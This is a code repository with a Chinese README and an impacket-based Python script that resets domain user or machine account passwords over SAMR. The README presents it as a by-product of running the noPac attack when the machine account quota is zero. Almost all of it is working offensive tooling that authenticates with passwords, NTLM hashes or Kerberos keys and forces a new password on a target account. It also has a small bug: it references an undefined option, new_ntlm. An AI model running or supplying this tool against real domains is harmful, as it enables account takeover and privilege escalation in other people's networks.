├── README.md └── resetpasswd.py /README.md: -------------------------------------------------------------------------------- 1 | # SAMR_resetntlm 2 | SAMR修改域内主机密码 3 | 4 | 在打nopac的时候碰到MAQ为0的情况,需要去手动重置机器用户的密码,本来是想做个MAQ为0情况下的一键利用,先整出这么个副产品 5 | 6 | 整体框架参考loong716大牛子的changentlm.py;https://github.com/SecureAuthCorp/impacket/pull/1097 7 | 8 | 核心的hSamrSetPasswordInternal4New也是直接用的impacket.impacket.dcerpc.v5.samr.hSamrSetPasswordInternal4New 9 | 10 | 脚本暂只支持明文修改密码,对修改权限及被修改的域用户是否存在会进行校验 11 | 12 | ### 权限不够 13 | image 14 | 15 | 16 | ### 用户不存在 17 | image 18 | 19 | 20 | ### 改密成功 21 | image 22 | image 23 | image 24 | -------------------------------------------------------------------------------- /resetpasswd.py: -------------------------------------------------------------------------------- 1 | 2 | import opcode 3 | import re 4 | import sys 5 | import logging 6 | import argparse 7 | from urllib import request 8 | 9 | from impacket import version 10 | from impacket import crypto, ntlm 11 | from impacket.dcerpc.v5.dtypes import NULL 12 | from impacket.examples import logger 13 | from impacket.dcerpc.v5 import transport, epm, samr 14 | 15 | class RESETNTLM: 16 | def __init__(self, username, password, domain, options = None): 17 | self.__username = username 18 | self.__password = password 19 | self.__domain = domain 20 | self.__targetuser = options.user 21 | self.__targetserver = options.server 22 | self.__lmhash = '' 23 | self.__nthash = '' 24 | self.__targetIp = options.dc_ip 25 | self.__doKerberos = options.k 26 | self.__aeskey = options.aesKey 27 | self.__kdcHost = options.dc_host 28 | self.__new_passwd = options.new_pass 29 | 30 | if options.hashes is not None: 31 | self.__lmhash, self.__nthash = options.hashes.split(':') 32 | 33 | if self.__doKerberos and options.dc_host is None: 34 | raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.") 35 | 36 | 37 | def init_samr(self): 38 | if self.__doKerberos: 39 | stringBinding = epm.hept_map(self.__kdcHost, samr.MSRPC_UUID_SAMR, protocol='ncacn_np') 40 | else: 41 | stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') 42 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 43 | rpctransport.set_dport(445) 44 | rpctransport.setRemoteHost(self.__targetIp) 45 | 46 | if hasattr(rpctransport, 'set_credentials'): 47 | # This method exists only for selected protocol sequences. 48 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, 49 | self.__nthash, self.__aeskey) 50 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 51 | 52 | dce = rpctransport.get_dce_rpc() 53 | dce.connect() 54 | dce.bind(samr.MSRPC_UUID_SAMR) 55 | 56 | self.run_reset(dce) 57 | 58 | def run_reset(self, dce): 59 | userHandle = None 60 | serverHandle = None 61 | domainHandle = None 62 | 63 | try: 64 | logging.info("Connecting to Server {}...".format(self.__targetserver)) 65 | 66 | samrConnectRep = samr.hSamrConnect5(dce, '{}\x00'.format(self.__targetserver), 67 | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN) 68 | serverHandle = samrConnectRep['ServerHandle'] 69 | 70 | logging.info("Enumerating domains on target server...") 71 | 72 | samrEnumDomainRep = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) 73 | domains = samrEnumDomainRep['Buffer']['Buffer'] 74 | 75 | # Reference: https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py#L444 76 | domainsWithoutBuiltin = list(filter(lambda x: x['Name'].lower() != 'builtin', domains)) 77 | 78 | if len(domainsWithoutBuiltin) > 1: 79 | domain = list(filter(lambda x: x['Name'].lower() == self.__domain, domains)) 80 | if len(domain) != 1: 81 | logging.critical("This server provides multiple domains and '%s' isn't one of them.", 82 | self.__domain) 83 | logging.critical("Available domain(s):") 84 | for domain in domains: 85 | logging.error(" * %s" % domain['Name']) 86 | raise Exception() 87 | else: 88 | selectedDomain = domain[0]['Name'] 89 | else: 90 | selectedDomain = domainsWithoutBuiltin[0]['Name'] 91 | logging.info("Select domain: {}".format(selectedDomain)) 92 | 93 | samrLookupDomainRep = samr.hSamrLookupDomainInSamServer(dce, serverHandle, selectedDomain) 94 | domainSID = samrLookupDomainRep['DomainId'] 95 | 96 | logging.info("Try to Open domain {}...".format(selectedDomain)) 97 | 98 | try: 99 | samrOpenDomainRep = samr.hSamrOpenDomain(dce, serverHandle, samr.DOMAIN_LOOKUP, domainSID) 100 | domainHandle = samrOpenDomainRep['DomainHandle'] 101 | except samr.DCERPCSessionError as e: 102 | if logging.getLogger().level == logging.DEBUG: 103 | import traceback 104 | traceback.print_exc() 105 | 106 | logging.critical(str(e)) 107 | exit(0) 108 | 109 | try: 110 | logging.info("Looking up user {}...".format(self.__targetuser)) 111 | samrLookupNamesRep = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__targetuser,)) 112 | userRID = samrLookupNamesRep['RelativeIds']['Element'][0] 113 | except samr.DCERPCSessionError as e: 114 | if e.error_code == 0xc0000073: 115 | if logging.getLogger().level == logging.DEBUG: 116 | import traceback 117 | traceback.print_exc() 118 | logging.critical('There\'s no such user in present domain') 119 | exit(0) 120 | 121 | 122 | try: 123 | logging.info("Open the handle to the user object...") 124 | samrOpenUserRep = samr.hSamrOpenUser(dce, domainHandle, samr.USER_FORCE_PASSWORD_CHANGE, userRID) 125 | userHandle = samrOpenUserRep['UserHandle'] 126 | except samr.DCERPCSessionError as e: 127 | if logging.getLogger().level == logging.DEBUG: 128 | import traceback 129 | traceback.print_exc() 130 | logging.critical('No enough permission to reset the passwd') 131 | exit(0) 132 | 133 | try: 134 | resetPasswdStatus = samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__new_passwd) 135 | except Exception as e: 136 | import traceback 137 | traceback.print_exc() 138 | if resetPasswdStatus['ErrorCode'] == 0: 139 | print('[+] Reset password success!') 140 | 141 | except Exception as e: 142 | if logging.getLogger().level == logging.DEBUG: 143 | import traceback 144 | traceback.print_exc() 145 | 146 | logging.critical(str(e)) 147 | finally: 148 | if userHandle is not None: 149 | samr.hSamrCloseHandle(dce, userHandle) 150 | if domainHandle is not None: 151 | samr.hSamrCloseHandle(dce, domainHandle) 152 | if serverHandle is not None: 153 | samr.hSamrCloseHandle(dce, serverHandle) 154 | dce.disconnect() 155 | 156 | def run(self): 157 | self.init_samr() 158 | 159 | 160 | if __name__ == '__main__': 161 | 162 | logger.init() 163 | print(version.BANNER) 164 | 165 | parser = argparse.ArgumentParser(add_help=True, description="Reset domain user's hash.") 166 | 167 | parser.add_argument('target', action='store', help='[domain/]username[:password] This user is ' 168 | 'used to authenticate to DC.') 169 | 170 | parser.add_argument('-user', action='store', help='Target user you want to change its password.') 171 | parser.add_argument('-server', action='store', help='Target server\'s netbios name. If target ' 172 | 'user is domain user, it should be DC.') 173 | parser.add_argument('-new-pass', action='store', help='New plain-text password for target user.') 174 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 175 | 176 | group = parser.add_argument_group('authentication') 177 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 178 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 179 | group.add_argument('-k', action="store_true", 180 | help='Use Kerberos authentication. Grabs credentials from ccache file ' 181 | '(KRB5CCNAME) based on account parameters. If valid credentials ' 182 | 'cannot be found, it will use the ones specified in the command ' 183 | 'line') 184 | group.add_argument('-dc-ip', action='store', metavar="ip", help='IP of the domain controller to use. ' 185 | 'Useful if you can\'t translate the FQDN.' 186 | 'specified in the account parameter will be used') 187 | group.add_argument('-dc-host', action='store', metavar="hostname", help='Hostname of the domain controller to use. ' 188 | 'If ommited, the domain part (FQDN) ' 189 | 'specified in the account parameter will be used') 190 | group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' 191 | '(128 or 256 bits)') 192 | 193 | if len(sys.argv) == 1: 194 | parser.print_help() 195 | sys.exit(1) 196 | 197 | options = parser.parse_args() 198 | 199 | if options.debug is True: 200 | logging.getLogger().setLevel(logging.DEBUG) 201 | # Print the Library's installation path 202 | logging.debug(version.getInstallationPath()) 203 | else: 204 | logging.getLogger().setLevel(logging.INFO) 205 | 206 | domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match( 207 | options.target).groups('') 208 | 209 | # If you use kerberos tickets, the domain name here needs to 210 | # correspond to the domain name in the ticket. otherwise an 211 | # KDC_ERR_PREAUTH_FAILED error will occur. 212 | if domain is None or domain == '': 213 | logging.critical('Domain name should be specified, If you use ' 214 | 'kerberos tickets, you need to specify "domain/:"') 215 | sys.exit(1) 216 | 217 | 218 | 219 | if options.user is None: 220 | logging.critical('Target username should be specified!') 221 | sys.exit(1) 222 | 223 | 224 | if options.new_pass is None and options.new_ntlm is None: 225 | logging.critical('Target user\'s new plain-text password or NTLM hash should be specified!') 226 | sys.exit(1) 227 | 228 | if options.dc_ip is None: 229 | logging.critical('Parameter -dc-ip should be specified!') 230 | sys.exit(1) 231 | 232 | executer = RESETNTLM(username, password, domain, options) 233 | try: 234 | executer.run() 235 | except Exception as e: 236 | if logging.getLogger().level == logging.DEBUG: 237 | import traceback 238 | traceback.print_exc() 239 | logging.error(e) --------------------------------------------------------------------------------